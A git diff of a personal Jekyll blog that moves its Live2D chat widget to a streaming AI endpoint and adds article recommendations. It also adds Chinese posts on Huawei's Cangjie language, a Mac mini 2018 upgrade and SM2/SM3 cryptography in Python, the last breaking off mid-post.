Compare commits
27 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| b666bd16b2 | |||
| bc094788c2 | |||
| c0b1009935 | |||
| 129c4d1b5b | |||
| a8b9118a20 | |||
| dff8a2d2c9 | |||
| 2952d9f63e | |||
| 3de3d63d77 | |||
| 3dab9f333a | |||
| 85aa965218 | |||
| 0e065bf282 | |||
| 680afdca5a | |||
| 9e7e727897 | |||
| f5accbcad4 | |||
| d3ef0a278b | |||
| 38c549606e | |||
| 443d65ac50 | |||
| c8ce8de1d9 | |||
| 03d9517241 | |||
| 9b9efd0f60 | |||
| 07a3d18350 | |||
| 550321e80a | |||
| 50c6c49c4c | |||
| 593b4fa003 | |||
| 46f1b8d742 | |||
| 7a525073f9 | |||
| dc37b70586 |
@@ -79,7 +79,7 @@
|
|||||||
background-color: rgba(74, 59, 114,0.9);
|
background-color: rgba(74, 59, 114,0.9);
|
||||||
}
|
}
|
||||||
.live_talk_input_name_body{
|
.live_talk_input_name_body{
|
||||||
width:70px;
|
width:100px;
|
||||||
box-sizing:border-box;
|
box-sizing:border-box;
|
||||||
height:24px;
|
height:24px;
|
||||||
border: 2px solid rgb(223, 179, 241);
|
border: 2px solid rgb(223, 179, 241);
|
||||||
|
|||||||
@@ -158,7 +158,7 @@ if(!norunFlag){
|
|||||||
function showHitokoto(){
|
function showHitokoto(){
|
||||||
if(sessionStorage.getItem("Sleepy")!=="1"){
|
if(sessionStorage.getItem("Sleepy")!=="1"){
|
||||||
if(!AITalkFlag){
|
if(!AITalkFlag){
|
||||||
$.getJSON('https://v1.hitokoto.cn/',function(result){
|
$.getJSON('https://hitokoto.mayx.eu.org/',function(result){
|
||||||
talkValTimer();
|
talkValTimer();
|
||||||
showMessage(result.hitokoto, 0);
|
showMessage(result.hitokoto, 0);
|
||||||
});
|
});
|
||||||
@@ -188,7 +188,26 @@ if(!norunFlag){
|
|||||||
if(Array.isArray(text)) text = text[Math.floor(Math.random() * text.length + 1)-1];
|
if(Array.isArray(text)) text = text[Math.floor(Math.random() * text.length + 1)-1];
|
||||||
//console.log('showMessage', text);
|
//console.log('showMessage', text);
|
||||||
$('.message').stop();
|
$('.message').stop();
|
||||||
|
if(text instanceof EventSource){
|
||||||
|
var outputContainer = $('.message')[0];
|
||||||
|
var eventFlag = false;
|
||||||
|
text.onmessage = (event) => {
|
||||||
|
if (event.data == "[DONE]") {
|
||||||
|
text.close();
|
||||||
|
return;
|
||||||
|
} else {
|
||||||
|
if(!eventFlag){
|
||||||
|
talkValTimer();
|
||||||
|
outputContainer.textContent = "";
|
||||||
|
eventFlag = true;
|
||||||
|
}
|
||||||
|
const data = JSON.parse(event.data);
|
||||||
|
outputContainer.textContent += data.response;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}else{
|
||||||
$('.message').html(text);
|
$('.message').html(text);
|
||||||
|
}
|
||||||
$('.message').fadeTo(200, 1);
|
$('.message').fadeTo(200, 1);
|
||||||
//if (timeout === null) timeout = 5000;
|
//if (timeout === null) timeout = 5000;
|
||||||
//hideMessage(timeout);
|
//hideMessage(timeout);
|
||||||
@@ -275,36 +294,18 @@ if(!norunFlag){
|
|||||||
});
|
});
|
||||||
$('#talk_send').on('click',function(){
|
$('#talk_send').on('click',function(){
|
||||||
var info_ = $('#AIuserText').val();
|
var info_ = $('#AIuserText').val();
|
||||||
var userid_ = $('#AIuserName').val();
|
// var userid_ = $('#AIuserName').val();
|
||||||
|
let add_id = "";
|
||||||
|
if($('#load_this').prop("checked")){
|
||||||
|
add_id = "&id="+encodeURIComponent($('#post_id').val());
|
||||||
|
}
|
||||||
if(info_ == "" ){
|
if(info_ == "" ){
|
||||||
showMessage('写点什么吧!',0);
|
showMessage('写点什么吧!',0);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
if(userid_ == ""){
|
|
||||||
showMessage('聊之前请告诉我你的名字吧!',0);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
showMessage('思考中~', 0);
|
showMessage('思考中~', 0);
|
||||||
$.ajax({
|
const evSource = new EventSource(talkAPI + "?info=" + encodeURIComponent(info_) + add_id);
|
||||||
type: 'POST',
|
showMessage(evSource);
|
||||||
url: talkAPI,
|
|
||||||
data: {
|
|
||||||
"info": info_,
|
|
||||||
"userId": userid_
|
|
||||||
},
|
|
||||||
success: function(res) {
|
|
||||||
if(res.intent.code !== 0){
|
|
||||||
talkValTimer();
|
|
||||||
showMessage('似乎有什么错误,请和站长联系!',0);
|
|
||||||
}else{
|
|
||||||
talkValTimer();
|
|
||||||
showMessage(res.results[0].values.text,0);
|
|
||||||
}
|
|
||||||
console.log(res);
|
|
||||||
$('#AIuserText').val("");
|
|
||||||
sessionStorage.setItem("live2duser", userid_);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
});
|
});
|
||||||
}else{
|
}else{
|
||||||
$('#showInfoBtn').hide();
|
$('#showInfoBtn').hide();
|
||||||
@@ -379,11 +380,11 @@ if(!norunFlag){
|
|||||||
showMessage('音乐似乎加载不出来了呢!',0);
|
showMessage('音乐似乎加载不出来了呢!',0);
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
//获取用户名
|
// //获取用户名
|
||||||
var live2dUser = sessionStorage.getItem("live2duser");
|
// var live2dUser = sessionStorage.getItem("live2duser");
|
||||||
if(live2dUser !== null){
|
// if(live2dUser !== null){
|
||||||
$('#AIuserName').val(live2dUser);
|
// $('#AIuserName').val(live2dUser);
|
||||||
}
|
// }
|
||||||
//获取位置
|
//获取位置
|
||||||
var landL = sessionStorage.getItem("historywidth");
|
var landL = sessionStorage.getItem("historywidth");
|
||||||
var landB = sessionStorage.getItem("historyheight");
|
var landB = sessionStorage.getItem("historyheight");
|
||||||
|
|||||||
@@ -16,13 +16,16 @@ Powered by [Jekyll](https://github.com/jekyll/jekyll)
|
|||||||
[Simple-Jekyll-Search](https://github.com/christian-fei/Simple-Jekyll-Search)
|
[Simple-Jekyll-Search](https://github.com/christian-fei/Simple-Jekyll-Search)
|
||||||
|
|
||||||
## 使用的网络资源
|
## 使用的网络资源
|
||||||
[Github](https://github.com/) | 包含:
|
[Github](https://github.com/) | 包含:
|
||||||
- Issue
|
- Issue
|
||||||
- Pages
|
- Pages
|
||||||
- Git
|
- Git
|
||||||
|
|
||||||
|
[Cloudflare](https://www.cloudflare.com/) | 包含:
|
||||||
|
- CDN、规则以及缓存
|
||||||
|
- Workers、D1 SQL 数据库、Vectorize 数据库、AI
|
||||||
|
|
||||||
[网易云音乐](https://music.163.com/)
|
[网易云音乐](https://music.163.com/)
|
||||||
[一言](https://hitokoto.cn/)
|
|
||||||
[CDNJS](https://cdnjs.com/)
|
[CDNJS](https://cdnjs.com/)
|
||||||
[unpkg](https://unpkg.com/)
|
[unpkg](https://unpkg.com/)
|
||||||
|
|
||||||
|
|||||||
+19
-2
@@ -27,6 +27,19 @@
|
|||||||
|
|
||||||
gtag('config', '{{ site.google_analytics }}');
|
gtag('config', '{{ site.google_analytics }}');
|
||||||
var lastUpdated = new Date("{{ site.time | date: "%FT%T%z" }}");
|
var lastUpdated = new Date("{{ site.time | date: "%FT%T%z" }}");
|
||||||
|
var BlogAPI = "https://summary.mayx.eu.org";
|
||||||
|
function getSearchJSON(callback) {
|
||||||
|
var searchData = JSON.parse(localStorage.getItem("blog_" + lastUpdated.valueOf()));
|
||||||
|
if (!searchData) {
|
||||||
|
localStorage.clear();
|
||||||
|
$.getJSON("/search.json", function (data) {
|
||||||
|
localStorage.setItem("blog_" + lastUpdated.valueOf(), JSON.stringify(data));
|
||||||
|
callback(data);
|
||||||
|
});
|
||||||
|
} else {
|
||||||
|
callback(searchData);
|
||||||
|
}
|
||||||
|
}
|
||||||
</script>
|
</script>
|
||||||
{% endif %}
|
{% endif %}
|
||||||
<style>
|
<style>
|
||||||
@@ -99,8 +112,12 @@
|
|||||||
<div class="message" style="opacity:0"></div>
|
<div class="message" style="opacity:0"></div>
|
||||||
<canvas id="live2d" width="500" height="560" class="live2d"></canvas>
|
<canvas id="live2d" width="500" height="560" class="live2d"></canvas>
|
||||||
<div class="live_talk_input_body">
|
<div class="live_talk_input_body">
|
||||||
<div class="live_talk_input_name_body" style="display:none;">
|
<div class="live_talk_input_name_body" {% unless page.layout == "post" %}style="display:none;"{% endunless %}>
|
||||||
<input name="name" type="hidden" class="live_talk_name white_input" id="AIuserName" value="Mayx_Blog_Talk" />
|
<input type="checkbox" id="load_this">
|
||||||
|
<input type="hidden" id="post_id" value="{{ page.url }}">
|
||||||
|
<label for="load_this">
|
||||||
|
<span style="font-size: 11px; color: #fff;"> 想问这篇文章</span>
|
||||||
|
</label>
|
||||||
</div>
|
</div>
|
||||||
<div class="live_talk_input_text_body">
|
<div class="live_talk_input_text_body">
|
||||||
<input name="talk" type="text" class="live_talk_talk white_input" id="AIuserText" autocomplete="off" placeholder="要和我聊什么呀?"/>
|
<input name="talk" type="text" class="live_talk_talk white_input" id="AIuserText" autocomplete="off" placeholder="要和我聊什么呀?"/>
|
||||||
|
|||||||
+36
-8
@@ -44,15 +44,15 @@ layout: default
|
|||||||
var postContent = "文章标题:" + {{ page.title | jsonify }} + ";文章内容:" + {{ page.content | strip_html | strip_newlines | jsonify }};
|
var postContent = "文章标题:" + {{ page.title | jsonify }} + ";文章内容:" + {{ page.content | strip_html | strip_newlines | jsonify }};
|
||||||
var postContentSign = await sha(postContent);
|
var postContentSign = await sha(postContent);
|
||||||
var outputContainer = document.getElementById("ai-output");
|
var outputContainer = document.getElementById("ai-output");
|
||||||
$.get("https://summary.mayx.eu.org/is_uploaded?id={{ page.url }}&sign=" + postContentSign, function (data) {
|
$.get(BlogAPI + "/is_uploaded?id={{ page.url }}&sign=" + postContentSign, function (data) {
|
||||||
if (data == "yes") {
|
if (data == "yes") {
|
||||||
$.get("https://summary.mayx.eu.org/get_summary?id={{ page.url }}&sign=" + postContentSign, function (data2) {
|
$.get(BlogAPI + "/get_summary?id={{ page.url }}&sign=" + postContentSign, function (data2) {
|
||||||
outputContainer.textContent = data2;
|
outputContainer.textContent = data2;
|
||||||
});
|
});
|
||||||
} else {
|
} else {
|
||||||
$.post("https://summary.mayx.eu.org/upload_blog?id={{ page.url }}", postContent, function (data) {
|
$.post(BlogAPI + "/upload_blog?id={{ page.url }}", postContent, function (data) {
|
||||||
$.get("https://summary.mayx.eu.org/get_summary?id={{ page.url }}&sign=" + postContentSign);
|
$.get(BlogAPI + "/get_summary?id={{ page.url }}&sign=" + postContentSign);
|
||||||
const evSource = new EventSource("https://summary.mayx.eu.org/summary?id={{ page.url }}");
|
const evSource = new EventSource(BlogAPI + "/summary?id={{ page.url }}");
|
||||||
outputContainer.textContent = "";
|
outputContainer.textContent = "";
|
||||||
evSource.onmessage = (event) => {
|
evSource.onmessage = (event) => {
|
||||||
if (event.data == "[DONE]") {
|
if (event.data == "[DONE]") {
|
||||||
@@ -80,7 +80,33 @@ layout: default
|
|||||||
{% if page.tags %}
|
{% if page.tags %}
|
||||||
<small>tags: <em>{{ page.tags | join: "</em> - <em>" }}</em></small>
|
<small>tags: <em>{{ page.tags | join: "</em> - <em>" }}</em></small>
|
||||||
{% endif %}
|
{% endif %}
|
||||||
|
<br />
|
||||||
|
<br />
|
||||||
|
<p id="suggest-container"></p>
|
||||||
|
<script>
|
||||||
|
var blogurl = "{{ page.url }}";
|
||||||
|
var suggest = $("#suggest-container")[0];
|
||||||
|
suggest.innerHTML = "Loading...";
|
||||||
|
$.get(BlogAPI + "/suggest?id=" + blogurl + "&update=" + lastUpdated.valueOf(), function (data) {
|
||||||
|
if (data.length) {
|
||||||
|
getSearchJSON(function (search) {
|
||||||
|
suggest.innerHTML = '<b>推荐文章</b><hr style="margin: 0 0 5px"/>';
|
||||||
|
const searchMap = new Map(search.map(item => [item.url, item]));
|
||||||
|
const merged = data.map(suggestObj => {
|
||||||
|
const searchObj = searchMap.get(suggestObj.id);
|
||||||
|
return searchObj ? { ...searchObj } : null;
|
||||||
|
});
|
||||||
|
merged.forEach(element => {
|
||||||
|
if (element) {
|
||||||
|
suggest.innerHTML += "<a href=" + element.url + ">" + element.title + "</a> - " + element.date + "<br />";
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
} else {
|
||||||
|
suggest.innerHTML = "暂无推荐文章……";
|
||||||
|
}
|
||||||
|
});
|
||||||
|
</script>
|
||||||
<div class="pagination">
|
<div class="pagination">
|
||||||
{% if page.previous.url %}
|
{% if page.previous.url %}
|
||||||
<span class="prev">
|
<span class="prev">
|
||||||
@@ -114,7 +140,8 @@ layout: default
|
|||||||
owner: 'Mabbs',
|
owner: 'Mabbs',
|
||||||
admin: ['Mabbs'],
|
admin: ['Mabbs'],
|
||||||
id: '{{ page.id }}', // Ensure uniqueness and length less than 50
|
id: '{{ page.id }}', // Ensure uniqueness and length less than 50
|
||||||
distractionFreeMode: false // Facebook-like distraction free mode
|
distractionFreeMode: false, // Facebook-like distraction free mode
|
||||||
|
proxy: "https://cors-anywhere.mayx.eu.org/?https://github.com/login/oauth/access_token"
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
@@ -125,7 +152,8 @@ layout: default
|
|||||||
owner: 'Mabbs',
|
owner: 'Mabbs',
|
||||||
admin: ['Mabbs'],
|
admin: ['Mabbs'],
|
||||||
id: '{{ page.id }}', // Ensure uniqueness and length less than 50
|
id: '{{ page.id }}', // Ensure uniqueness and length less than 50
|
||||||
distractionFreeMode: false // Facebook-like distraction free mode
|
distractionFreeMode: false, // Facebook-like distraction free mode
|
||||||
|
proxy: "https://cors-anywhere.mayx.eu.org/?https://github.com/login/oauth/access_token"
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -288,7 +288,7 @@ export default {
|
|||||||
不过毕竟Workers本身是有每日调用次数限制的,自己部署当然更好。方法也很简单,首先在D1里创建一个数据库,然后创建一个Workers,在变量里绑定AI和新建的D1数据库,名字要起成blog_summary,如果想换名字就要改代码,里面建一张叫做blog_summary的表,需要有3个字段,分别是id、content、summary,都是text类型,如果想用博客计数器功能就再加一张counter表,一个是url,text类型,另一个是counter,int类型。本来博客计数器接口名字也打算用counter的,结果不知道AdBlock有什么大病,居然会屏蔽“counter?id=”这样的请求😆,害的我只能改成count_click这样的名字了。
|
不过毕竟Workers本身是有每日调用次数限制的,自己部署当然更好。方法也很简单,首先在D1里创建一个数据库,然后创建一个Workers,在变量里绑定AI和新建的D1数据库,名字要起成blog_summary,如果想换名字就要改代码,里面建一张叫做blog_summary的表,需要有3个字段,分别是id、content、summary,都是text类型,如果想用博客计数器功能就再加一张counter表,一个是url,text类型,另一个是counter,int类型。本来博客计数器接口名字也打算用counter的,结果不知道AdBlock有什么大病,居然会屏蔽“counter?id=”这样的请求😆,害的我只能改成count_click这样的名字了。
|
||||||
|
|
||||||
# 其他想法
|
# 其他想法
|
||||||
加了这个功能之后感觉效果还挺不错的,这下就有点想加点别的功能了,比如文章推荐和知识库问答啥的,不过这个似乎需要什么向量数据库,而且数据需要进行“嵌入”处理,这用现有的东西感觉难度实在是太高了所以就算了……另外还想用文生图模型给我的文章加个头图,不过我天天写的都是些技术文章,没啥图可加吧🤣。其他的之后再看看有什么有意思的功能再加吧。
|
加了这个功能之后感觉效果还挺不错的,这下就有点想加点别的功能了,比如文章推荐和知识库问答啥的, ~~不过这个似乎需要什么向量数据库,而且数据需要进行“嵌入”处理,这用现有的东西感觉难度实在是太高了所以就算了……~~ (在2024.09.27中[已经实现了](/2024/09/27/rag.html)) 另外还想用文生图模型给我的文章加个头图,不过我天天写的都是些技术文章,没啥图可加吧🤣。其他的之后再看看有什么有意思的功能再加吧。
|
||||||
|
|
||||||
# 感想
|
# 感想
|
||||||
Cloudflare真不愧是赛博活佛,这波操作下来不就省下了那笔生成费用?啥都是免费的,不过问题就是Cloudflare在这方面几乎是垄断地位,虽然国际大厂倒是不担心倒闭,不过万一挂了想再找个这样厉害的平台可就没了😆。
|
Cloudflare真不愧是赛博活佛,这波操作下来不就省下了那笔生成费用?啥都是免费的,不过问题就是Cloudflare在这方面几乎是垄断地位,虽然国际大厂倒是不担心倒闭,不过万一挂了想再找个这样厉害的平台可就没了😆。
|
||||||
@@ -0,0 +1,58 @@
|
|||||||
|
---
|
||||||
|
layout: post
|
||||||
|
title: 华为仓颉语言使用体验
|
||||||
|
tags: [华为, 仓颉, 体验]
|
||||||
|
---
|
||||||
|
|
||||||
|
看看“自研”的轮子有什么特别之处?<!--more-->
|
||||||
|
|
||||||
|
# 起因
|
||||||
|
前段时间因为华为对它的仓颉编程语言开启了公测(公开内测),随后媒体又吹了一波。虽然华为最近也整了好多乱七八糟的东西,但至少我没有亲眼见过。既然这个仓颉的编译器公测了我就申请试试看呗,反正编译器又不需要特定的设备或者系统运行。
|
||||||
|
申请之后过了几天就通过了,然后编译器的安装包就可以在GitCode上下载。目前看起来没有开源,可以在Windows x64,macOS和Linux的x64和aarch64上运行和编译,另外也支持它的那个鸿蒙Next系统,虽然我申请了那个插件也通过了,但是毕竟没有真机,而且那个IDE挺大的也就算有模拟器可以用也懒得试😂。
|
||||||
|
|
||||||
|
# 编写体验
|
||||||
|
首先我下了Windows版的编译器,安装好之后看了看文档,感觉语法倒是没什么复杂的,不过和Python差别还是挺大的,所以还是得看着文档写😂。看了一圈之后首先写个九九乘法表试试看:
|
||||||
|
```kotlin
|
||||||
|
main() {
|
||||||
|
for (i in 1..10) {
|
||||||
|
for (j in 1..i + 1) {
|
||||||
|
print("${j}*${i}=${i*j}\t")
|
||||||
|
}
|
||||||
|
println()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
编译之后运行倒是没什么问题,随后再写个递归版的试试看:
|
||||||
|
```kotlin
|
||||||
|
func row(i: Int): Unit{
|
||||||
|
if(i < 10){
|
||||||
|
col(i, 1)
|
||||||
|
println()
|
||||||
|
row(i + 1)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func col(i:Int, j:Int): Unit{
|
||||||
|
if(i >= j){
|
||||||
|
print("${j}*${i}=${i*j}\t")
|
||||||
|
col(i, j + 1)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
main() {
|
||||||
|
row(1)
|
||||||
|
}
|
||||||
|
```
|
||||||
|
运行也没有问题,那就试试看把编译的产物放别的电脑运行试试看?结果就不能运行了。似乎是依赖了“libcangjie-runtime”和“libsecurec”这两个库,即使是在编译选项里开了静态编译也没有用,因为SDK里没有这两个的静态库文件,而且也没有它们的源代码……像Golang都是静态编译没有什么乱七八糟的依赖的啊……
|
||||||
|
另外我在Github上搜了一下,“libsecurec”这个库是有源代码的,叫做[libboundscheck](https://github.com/openeuler-mirror/libboundscheck),看名字是用来字符边界检查之类的库,似乎华为很多产品里都有用,在这个SDK里用的是[这个](https://github.com/openeuler-mirror/libboundscheck/tree/5701ca210dfb71037f3cb3340166d150917e8a4d)版本。
|
||||||
|
不过如果仓颉主要是给鸿蒙Next用的话,那个系统应该是预先有装仓颉的运行环境的,应该不静态编译也行。
|
||||||
|
|
||||||
|
# 对仓颉语言的看法
|
||||||
|
单从我上面写的这点代码看的话这语法比C都复杂😂,看了一下文档乱七八糟的概念还挺多,毕竟是融合了各种各样的语言,有Java的复杂,支持什么注解和反射之类的,还有TS的声明类型,变量还要指定变不变啥的,不过似乎没有关于异步的语法,可能是用线程弥补吧?其他近些年出的语言我没怎么接触过所以其他的不太清楚,不过让AI看了看我写的那段代码它说像Kotlin,然后讨论群里又说借鉴了50%的Rust🤣,确实融合的有点多。另外据说除了编译成机器码(CJNative)外还能编译成字节码(CJVM),不过CJVM在内测,不知道到时候会不会正式发布……除此之外也能调C和Python的库,似乎是用的FFI调用,可以不用单独开个进程然后去获得输出的值,效率应该还是挺高的。
|
||||||
|
但是要说这个语言有什么特别之处目前似乎也看不出来,不过毕竟仓颉语言算是给鸿蒙Next系统用的,学着iOS/macOS整Swift那样吧,但是在苹果系开发要想用苹果的框架,可能Swift是最好的选项。鸿蒙Next除了这个还整的什么ArkTS(那个可能算是小程序吧,毕竟那个没见过不知道底层是怎么运行的),至于鸿蒙Next能不能用其他语言开发目前也不知道(倒是能用NDK),要是能的话大家肯定是用现有已经开发好的改改然后移植到鸿蒙Next吧(前提是这些公司认为用鸿蒙Next的人使用他们的软件有足够的收益),如果不行从头开发成本就更高了,估计得劝退一大堆公司。毕竟鸿蒙Next没有历史,和Android以及iOS根本不能比,而且相比也没有解决什么痛点,另外其他手机厂商也不会考虑使用鸿蒙Next,只能像苹果一样搞成仅自家使用的系统。但是用户量根本和iPhone不能比,公司可不会听华为在网上的营销,毕竟公司是要实实在在赚钱的,靠营销只能忽悠普通人(但要是普通人买来发现除了国内大厂的软件其他软件全不能用估计也没人买了🤣)。
|
||||||
|
另外鸿蒙Next好像也会搞PC版,就像Mac那样。不过Mac是正经啥语言写的都能运行,而且相对还是挺开放的,到时候如果PC版的鸿蒙Next连终端个也没有,而且只能运行仓颉语言写的软件那怕是比其他Linux发行版还废了🤣。
|
||||||
|
不过如果用户侧如果搞不好的话说不定可以在服务器上用,毕竟服务器的话只在乎能不能写出这个软件,至于用什么语言写其实不重要,只要性能好就行,如果华为能整一批写仓颉的学生,还能把该整的库整好,也许会有公司考虑用,在做政府相关的项目说不定可以作为卖点🤣。
|
||||||
|
|
||||||
|
# 感想
|
||||||
|
虽然说华为整的这堆莫名其妙的东西也许没什么用,或者也可能会有些用,不过毕竟搞这些东西已经算是用公司的前景去赌未来了,虽然拿这些东西搞营销很恶心,但目前来看至少确实是有在也许没回报的东西上投真金白银的,还是挺厉害的。
|
||||||
|
但正因为它们营销搞太多了,到时候因为搞这些东西把公司玩死了我觉得也是大快人心的🤣🤣🤣。
|
||||||
@@ -0,0 +1,23 @@
|
|||||||
|
---
|
||||||
|
layout: post
|
||||||
|
title: Mac mini 2018使用体验
|
||||||
|
tags: [Apple, Mac, 体验]
|
||||||
|
---
|
||||||
|
|
||||||
|
买个快过时的产品是什么感受🤣<!--more-->
|
||||||
|
|
||||||
|
# 起因
|
||||||
|
最近由于某些原因需要一个装有macOS的电脑用来开发,虽然我自己[有MacBook Pro](/2023/02/03/mbp.html),但是我不太想让我的电脑上装一堆乱七八糟的环境,而且我的Mac只有8GiB内存😅,也不适合整比较复杂的东西。那既然这样上次不是[整了个黑苹果](/2024/06/16/hackintosh.html)吗?但是考虑到黑苹果不太可靠,可能更新着系统就挂了,而且用APFS文件还不好拷出来。那既然买白苹果是不是还是买M芯片的Mac mini比较好?但是这次开发的程序原来是在Intel的Mac上开发的,虽然有Rosetta 2,但是怕出一些莫名其妙的问题,然后再考虑到以后可能要升macOS 15(macOS 16应该就不再支持Intel的Mac了),所以最后还是整了个二手的8+512的Mac mini 2018(i5-8500B版)。
|
||||||
|
|
||||||
|
# 更换内存
|
||||||
|
刚拿到手的时候是8GiB内存,显然有点小了,不过Mac mini 2018是支持自己更换内存的,所以又额外买了两条16GiB内存。东西都到了之后就打算直接拆开来换,结果发现我手头没有T6H的螺丝刀🤣。我之前有买过一个很便宜的25合1的螺丝刀套装,里面包含梅花螺丝批头,但是没想到这个Mac mini上的螺丝上面有个柱子,普通的T6螺丝刀根本插不进去。没办法只好单独买了这个螺丝刀……在拿到螺丝刀之前,我觉得还是得看看教程,所以网上搜了个[iFixit的教程](https://zh.ifixit.com/Guide/Mac+mini+Late+2018+%E7%89%88%E5%86%85%E5%AD%98%E6%9B%B4%E6%8D%A2/115309),看了一下还好只有外壳的螺丝是带柱子的,不然又得买😂。
|
||||||
|
最后东西到齐之后按照上面的教程把内存换了,这下就成了32+512的Mac mini了,也算够用了。
|
||||||
|
|
||||||
|
# 使用体验
|
||||||
|
作为最后一代Intel的Mac,这个Mac mini其实和黑苹果的区别也就是T2芯片了。但要说这个T2芯片到底在使用体验上有啥区别,目前来看只能说几乎没有……当然不是完全没有,因为装有T2芯片以及之后的M芯片的Mac硬盘默认都是加了密的,所以在开启文件保险箱的时候瞬间就能打开,不需要额外的加密过程。黑苹果虽然也支持文件保险箱,似乎是装“AppleKeyFeeder-64.efi”这个驱动就可以,先不说这个东西会不会出问题,至少它在加解密的过程中需要占用CPU,在这个Mac上它的加解密都是在这个T2芯片上进行的,所以不会影响CPU性能,其实这要比Windows的Bitlocker要好一些,现在预装Windows的电脑基本上默认就开了Bitlocker,但使用肯定是要用CPU进行加解密的,多多少少会影响一点性能,在这个Mac上就不会有问题了。
|
||||||
|
除此之外就是无线网络了,我装的黑苹果是在台式机上装的,没有无线网卡,当然隔空投送也用不了。白苹果就可以,而且很快,我试了一下从我的MacBook传到Mac Mini速度最高可以达到400Mbps,当然和现在的Wi-Fi相比不算很快,但是在我用的设备里面已经算快的了 ~~(用的全是垃圾🤣)~~
|
||||||
|
另外我还听说T2芯片在视频编解码上有额外的优势,不过这个我没法测,毕竟买它又不是为了剪辑的,至于看视频基本上只要支持硬件解码,看4K视频都不会有压力,反正我试了我的黑苹果看4K也没有卡。
|
||||||
|
其他部分和黑苹果几乎没什么区别,毕竟都是Intel的芯片,黑苹果不能干的白苹果一样也不能干,没有因为多出来一个T2芯片就多出来运行ARM程序的能力,至于装Windows……当然两边都能装,白苹果有启动转换,黑苹果本来就能直接装。接下来的话就只能希望苹果在下一个macOS版本更新中淘汰掉没有T2芯片的Intel的Mac,这样黑苹果就彻底完蛋了,而这个有T2芯片的就能发挥它最后的价值了,只不过目前来看黑苹果在macOS 15的Beta版仍然可以装,看来是没什么希望了🤣。
|
||||||
|
|
||||||
|
# 感想
|
||||||
|
这么看来买这个Mac mini 2018似乎意义不大啊,不过毕竟要长期用,为了可靠性多花点钱也没什么问题,不过这个二手的Mac mini 2018居然比M1的Mac Mini还要贵😂,明明性能要更差啊……不过考虑到M芯片的加内存那么贵,而且这个Intel芯片的以后就算不用macOS还能装Windows,也许就是这个原因所以更贵吧?
|
||||||
@@ -0,0 +1,81 @@
|
|||||||
|
---
|
||||||
|
layout: post
|
||||||
|
title: Python国密算法使用探索
|
||||||
|
tags: [Python, GmSSL, 国密]
|
||||||
|
---
|
||||||
|
|
||||||
|
使用罕见的算法是什么感受😁<!--more-->
|
||||||
|
|
||||||
|
# 起因
|
||||||
|
前段时间因为某些原因需要对某些东西进行密评改造,需要使用国密算法。虽然国密算法也算进入标准了,但是网上能搜到的资料还是太少了(尤其是Python的,大多资料都是Java的),所以我打算自己研究研究。
|
||||||
|
|
||||||
|
# 关于Python使用国密算法的方式
|
||||||
|
其实在新版OpenSSL中已经支持了国密算法,比如SM3还有SM4,不过[pyOpenSSL](https://github.com/pyca/pyopenssl)似乎只有对非对称加密算法的支持……我倒是不在乎,因为在我实际应用里加解密都是服务器密码机处理的,我自己连密钥也看不到,所以不需要管怎么实现。但是签名验签还有摘要算法之类的理论上应该是可以自己实现的,毕竟算法是公开的。
|
||||||
|
关于摘要算法SM3我搜了一下,似乎因为它已经进入标准了,至少在新版的Python中可以用`hashlib.new("sm3")`这样的方式进行计算,但是旧版的Python用不了……所以如果要在旧版Python上处理还得自己想办法。
|
||||||
|
既然标准库不太能满足,那第三方库选哪个比较好呢?我看用的比较多的一个是封装C库[GmSSL](https://github.com/guanzhi/GmSSL)的[GmSSL-Python](https://github.com/GmSSL/GmSSL-Python),想要安装得先安装那个C库;还有一个是纯Python实现的[gmssl](https://github.com/duanhongyi/gmssl)。对我来说的话我更喜欢后面那个纯python实现的,虽然效率低了点,但是看起来比较简单(虽然看起来不是很专业🤣),那个C库包装的感觉有点复杂……而且这两个库有冲突,所以最终我选择了那个纯Python实现的版本。
|
||||||
|
|
||||||
|
# 使用SM2withSM3进行验签
|
||||||
|
在一些挑战应答方式的登录方式中就需要用到这种东西,服务器发送一个随机数让客户端用私钥签名,然后服务器用公钥进行验签。我看了一下那个库的“gmssl.sm2.CryptSM2”中有个verify_with_sm3方法挺符合需求的,但有个问题是它这个CryptSM2传入的公钥是串数字,但客户端传来的是证书……看来还得解析证书,我看pyOpenSSL库里有加载证书还有导出公钥的方法,但是那个导出的公钥也不是一串数字……后来看了半天,发现导出的公钥的倒数130位才是公钥😅……最终把所有的值带进去试了一下终于没问题了,最终的代码如下:
|
||||||
|
```python
|
||||||
|
import OpenSSL.crypto
|
||||||
|
from gmssl import sm2
|
||||||
|
import base64
|
||||||
|
|
||||||
|
certSign = "" # 证书
|
||||||
|
signBytes = b"" # 签名
|
||||||
|
inData = b"" # 被签名的值
|
||||||
|
|
||||||
|
sm2.CryptSM2(
|
||||||
|
private_key="",
|
||||||
|
public_key=OpenSSL.crypto.dump_publickey(
|
||||||
|
OpenSSL.crypto.FILETYPE_ASN1,
|
||||||
|
OpenSSL.crypto.load_certificate(
|
||||||
|
OpenSSL.crypto.FILETYPE_PEM,
|
||||||
|
f"""-----BEGIN CERTIFICATE-----
|
||||||
|
{certSign}
|
||||||
|
-----END CERTIFICATE-----""".encode(),
|
||||||
|
).get_pubkey(),
|
||||||
|
).hex()[-128:],
|
||||||
|
asn1=True,
|
||||||
|
).verify_with_sm3(signBytes.hex(), inData)
|
||||||
|
```
|
||||||
|
|
||||||
|
# 使用HMAC-SM3对数据进行消息验证
|
||||||
|
这个其实新版的Python可以直接用,因为新版Python的hashlib里有SM3,所以一句
|
||||||
|
```python
|
||||||
|
hmac.new(key, data, digestmod="sm3").hexdigest()
|
||||||
|
```
|
||||||
|
就可以了,但是我用的是旧版的Python(macOS自带的3.9.6🤣)不支持……那怎么办呢?我看了一下这个函数的注释写的“digestmod”这个参数除了传hashlib支持的方法之外还可以传符合[PEP 247](https://peps.python.org/pep-0247/)的模块。显然无论是GmSSL-Python还是gmssl都没有符合这个规范。不过我可以自己写个适配器来适配这个规范。所以最终只好自己写一下了:
|
